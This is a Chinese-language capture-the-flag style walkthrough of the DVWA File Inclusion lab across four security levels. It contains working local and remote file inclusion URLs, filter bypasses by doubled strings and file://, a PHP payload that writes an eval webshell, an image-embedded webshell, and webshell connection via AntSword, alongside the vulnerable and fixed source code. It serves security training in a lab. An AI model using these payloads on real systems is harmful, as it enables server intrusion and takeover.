DVWA-文件包含通关

File Inclusion,即文件包含(漏洞),是指服务器在开启 allow_url_include 选项后,可通过 include()require() 等函数利用 URL 动态包含文件。若未严格审查文件来源,可能导致任意文件读取或任意命令执行。此类漏洞分为本地文件包含漏洞和远程文件包含漏洞,后者源于 allow_url_fopen 选项开启(允许通过 URL 打开文件)。

1. Low

1.1. 本地文件包含

默认有3个内置的php文件可执行:

alt text

选中 file2.php 进行执行:

alt text

输出了 Nick Helm 说过的一句话,同时地址栏上显示:http://192.168.217.130/dvwa/vulnerabilities/fi/?page=file2.php

该URL末尾的查询字符串?page=file2.php表示当前加载的页面是file2.php,这意味着服务器根据这个参数加载或渲染了 file2.php 文件的内容。猜测通过更改 page 参数的值,可能会访问到内置的3个文件以外的文件。

将参数值设为/etc/passwd,构造url并访问: http://192.168.217.130/dvwa/vulnerabilities/fi/?page=/etc/passwd

alt text

报错,提示没有这个文件,说明服务器不是Linux系统,但同时暴露了服务器文件的绝对路径D:\xampp\htdocs\DVWA\vulnerabilities\fi\index.php。因为路径带盘符,所以可以判断服务器是Windows系统。

也可以通过设置参数值为c:\windows\system.ini来判断目标系统是否为Windows:
alt text

将服务器暴露的绝对路径结合../进行路径猜测,当使用相对路径../../php.ini时,显示如下信息:

alt text

1.2. 远程文件包含

在读取到的配置文件php.ini中可以看到allow_url_include、allow_url_fopen都为on状态,说明DVWA开启了远程文件包含功能。

为了实验方便,宿主机192.168.217.1作为远程服务器使用。在宿主机的D:\Apps\xampp\htdocs目录中放置一个test.txt文件(格式不重要,只要语法为php即可), 内容如下:

1
2
3
<?php
echo "File inclusion tests";
?>

将url中的参数值设置为远程服务器的test.txt文件,构造url并访问: http://192.168.217.130/dvwa/vulnerabilities/fi/?page=http://192.168.217.1/test.txt

alt text

造成此错误的原因是Apache服务器没有开启远程文件包含。需要编辑php.ini配置文件:

alt text

将allow_url_include设置为On,保存后关闭文件,然后重启Apache服务器。

再次访问url,可以看到test.txt文件被当成php文件解析并执行,将内容显示在了当前页面中:

alt text

1.3. 漏洞利用

在远程服务器192.168.217.1D:\Apps\xampp\htdocs目录中添加fileInclusionTest.txt文件, 内容如下:

1
2
3
<?php
fputs(fopen("fileInclusionTest.php", "w"), "<?php eval(\$_POST[test]);?>");
?>

上述代码会将一句话木马<?php eval($_POST[test]);?>写入到目标服务器的fileInclusionTest.php文件中。

将url中的参数值设置为远程服务器的fileInclusionTest.txt文件,构造url并访问: http://192.168.217.130/dvwa/vulnerabilities/fi/?page=http://192.168.217.1/fileInclusionTest.txt

alt text

地址提交后,页面没有内容输出,但在当前页面(http://192.168.190.131/dvwa/vulnerabilities/fi/index.php)所在的目录中生成了fileInclusionTest.php文件,内容为一句话木马:

alt text

使用中国蚁剑连接木马: http://192.168.217.130/dvwa/vulnerabilities/fi/fileInclusionTest.php , 密码为test:

alt text

alt text

1.4. 总结

低级别的文件包含漏洞源码如下:

1
2
3
4
5
6
<?php

// 要显示的页面
$file = $_GET[ 'page' ];

?>

分析可知服务器端对page参数没有做任何的过滤和检查。服务器期望用户的操作是点击下面的三个链接,服务器会包含(执行)相应的文件,并将结果返回。需要特别说明的是,服务器包含文件时,不管文件后缀格式是否是php,都会尝试当做php文件执行,如果文件语法格式是php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取任意命令执行


2. Medium

2.1. 本地文件包含(字符双写绕过)

在中等安全级别下,进行文件包含漏洞测试实验,将参数page设置为../../php.ini,提交之后运行结果如下:

alt text

页面提示没有这样的文件或目录,由于在低等级中已经测试过../../php.ini文件存在,因此可以猜测是服务器代码做了一定安全处理,进行了代码过滤。

最有可能过滤的是表示上一级目录的../,因此可以尝试直接使用绝对路径进行测试,由于目标服务器是windows系统,因此使用c:\windows\system.ini,结果如下:

alt text

正常输出了文件内容,说明服务器确实对../进行了过滤。为了绕过对../的过滤,需要构造相对路径

如果服务器使用的是单次过滤而不是循环过滤,那么可以使用双写相对路径进行绕过。例如../../,在过滤时,由于是单次过滤(从左到右过滤一遍),因此整个../../会被过滤掉,但如果使用双写相对路径的..././../,从左到右过滤一遍后,路径就变成了../,因为只过滤一遍,所以剩下的../不会被过滤掉。

构造路径的重点是在../的两个.中间再次插入一个../

根据以上信息,构造路径..././..././phpinfo.php,访问后结果如下:

alt text

成功输出了phpinfo.php文件内容,说明构造双写相对路径成功,服务器使用的是单次过滤。

2.2. 远程文件包含(字符双写绕过)

使用低等级中的远程服务器文件 http://192.168.217.1/test.txt 进行测试,构造url并访问: http://192.168.217.130/dvwa/vulnerabilities/fi/?page=http://192.168.217.1/test.txt ,结果如下所示:

alt text

同样提示没有这样的文件或目录,可能也做了字符过滤。同时也观察到输出结果中的协议头(http://)消失,因此可以确认协议头(http://)被过滤了。

为了避免协议头被过滤,尝试字符双写,即http:// 改为 hhttp://ttp://,构造url并访问: http://192.168.217.130/dvwa/vulnerabilities/fi/?page=hhttp://ttp://192.168.217.1/test.txt ,结果如下:

alt text

远程文件被执行,成功绕过。

接下来测试是否过滤 https:// 协议头,双些协议头,构造url: http://192.168.217.130/dvwa/vulnerabilities/fi/?page=hhttps://ttps://192.168.217.1/test.txt ,测试结果如下:

alt text

成功加载url,但是由于SSL证书验证失败而无法加载文件内容。

2.3. 漏洞利用

参考低级别的漏洞利用,利用远程文件执行功能,将一句话木马写入到目标服务器的web目录中,然后使用中国蚁剑拿到文件系统控制权限。

2.4. 总结

中等级别的源码如下:

1
2
3
4
5
6
7
8
9
10
<?php

// 要显示的页面
$file = $_GET[ 'page' ];

// 输入验证
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\\" ), "", $file );

?>

分析代码可知中等级别增加了str_replace()函数,将page参数中的http://https://../..\\替换成了空字符(相当于删除),这使得本地文件包含只能使用绝对路径,远程文件包含不能使用http(s)协议头。但只需简单的字符双写即可绕过替换规则。


3. High

3.1. 本地文件包含(file协议)

依次使用相对路径../../phpinfo.php和绝对路径c\:windows\system.ini进行本地文件包含,结果如下所示:

alt text

从图中错误提示中可以得知,系统不再使用错误处理机制将具体错误提示输出给用户查看,而是采用固定的错误处理机制,固定的错误提示信息

按照中等级别的测试方法,查看是否进行了字符过滤,后经大量测试,发现字符双写均无法绕开过滤。此时需要考虑,可能不是使用代码过滤,而是使用了其他的安全处理机制阻止文件包含。

尝试使用file协议加载本地文件,例如file:///C:/Windows/system.ini,结果如下所示:

alt text

成功加载出文件内容,file://协议没有被过滤。

使用浏览器打开本地文件时候,使用的就是file协议,例如下面这个例子:
alt text
file:// 后面是主机名,如果省略,则默认使用localhost。主机名后面才是文件路径,因此才看到有3个/

3.2. 远程文件包含(失效)

高级别的源代码如下:

1
2
3
4
5
6
7
8
// 要显示的页面
$file = $_GET[ 'page' ];

// 输入验证
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
echo "ERROR: File not found!";
exit;
}

分析代码可知,如果 $file 既不是以 “file” 开头的字符串,也不是 “include.php”,那么就会输出固定的错误提示信息。因此,该白名单式的本地文件匹配,消除了远程文件包含漏洞

使用远程服务器文件写入木马的操作无法完成。可以结合文件上传漏洞,上传一张木马的图片文件,利用文件包含漏洞的文件执行特性,在index.php目录中写入木马,因系统不再使用错误信息提显示文件绝对路径,所以该操作需要对文件系统的绝对路径比较熟悉。

3.3. 漏洞利用

将以下代码写入到test.php文件内,

1
2
3
<?php
fputs(fopen("hack.php", "w"),"<?php eval(\$_POST[test]);?>");
?>

上述代码执行后会在当前目录下创建一个hack.php文件,并将一句话木马写入到hack.php文件中。

再使用CMD命令copy 1.jpg/b + test.jpg/a hack.jpg,将1.jpg和test.jpg两个文件合并成一个新的文件hack.jpg,合并完之后使用记事本将其打开确认一句话木马的存在:

alt text

再用高等级别的文件上传漏洞将其上传到目标服务器:

alt text

上传后文件路径为D:/xampp/htdocs/DVWA/hackable/uploads/hack.jpg,在文件包含实验环境中本地包含该文件以进行php解析执行http://192.168.217.130/dvwa/vulnerabilities/fi/?page=file:///D:/xampp/htdocs/DVWA/hackable/uploads/hack.jpg,如下图所示:

alt text

输出为乱码,说明图片木马被当成php文件解析成功执行了,此时如果打开靶机的D:\xampp\htdocs\DVWA\vulnerabilities\fi目录,可以看到hack.php文件已被生成:

alt text

接着使用中国蚁剑进行连接一句话木马:http://192.168.217.130/dvwa/vulnerabilities/fi/hack.php ,密码为test

alt text

3.4. 总结

高等级别的文件包含代码使用了fnmatch()来函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的本地文件,这彻底杜绝了远程文件包含,并且还采用了固定的错误处理机制,显示固定的错误提示信息。

4. Impossible

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

// 要显示的页面
$file = $_GET[ 'page' ];

// 只允许包含 include.php 或 file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" )
{
// 固定错输出
echo "ERROR: File not found!";
exit;
}

?>

可以看到,Impossible级别的代码使用了白名单机制进行防护,要求page参数必须为“include.php”、“file1.php”、“file2.php”、“file3.php”之一,彻底杜绝了文件包含漏洞。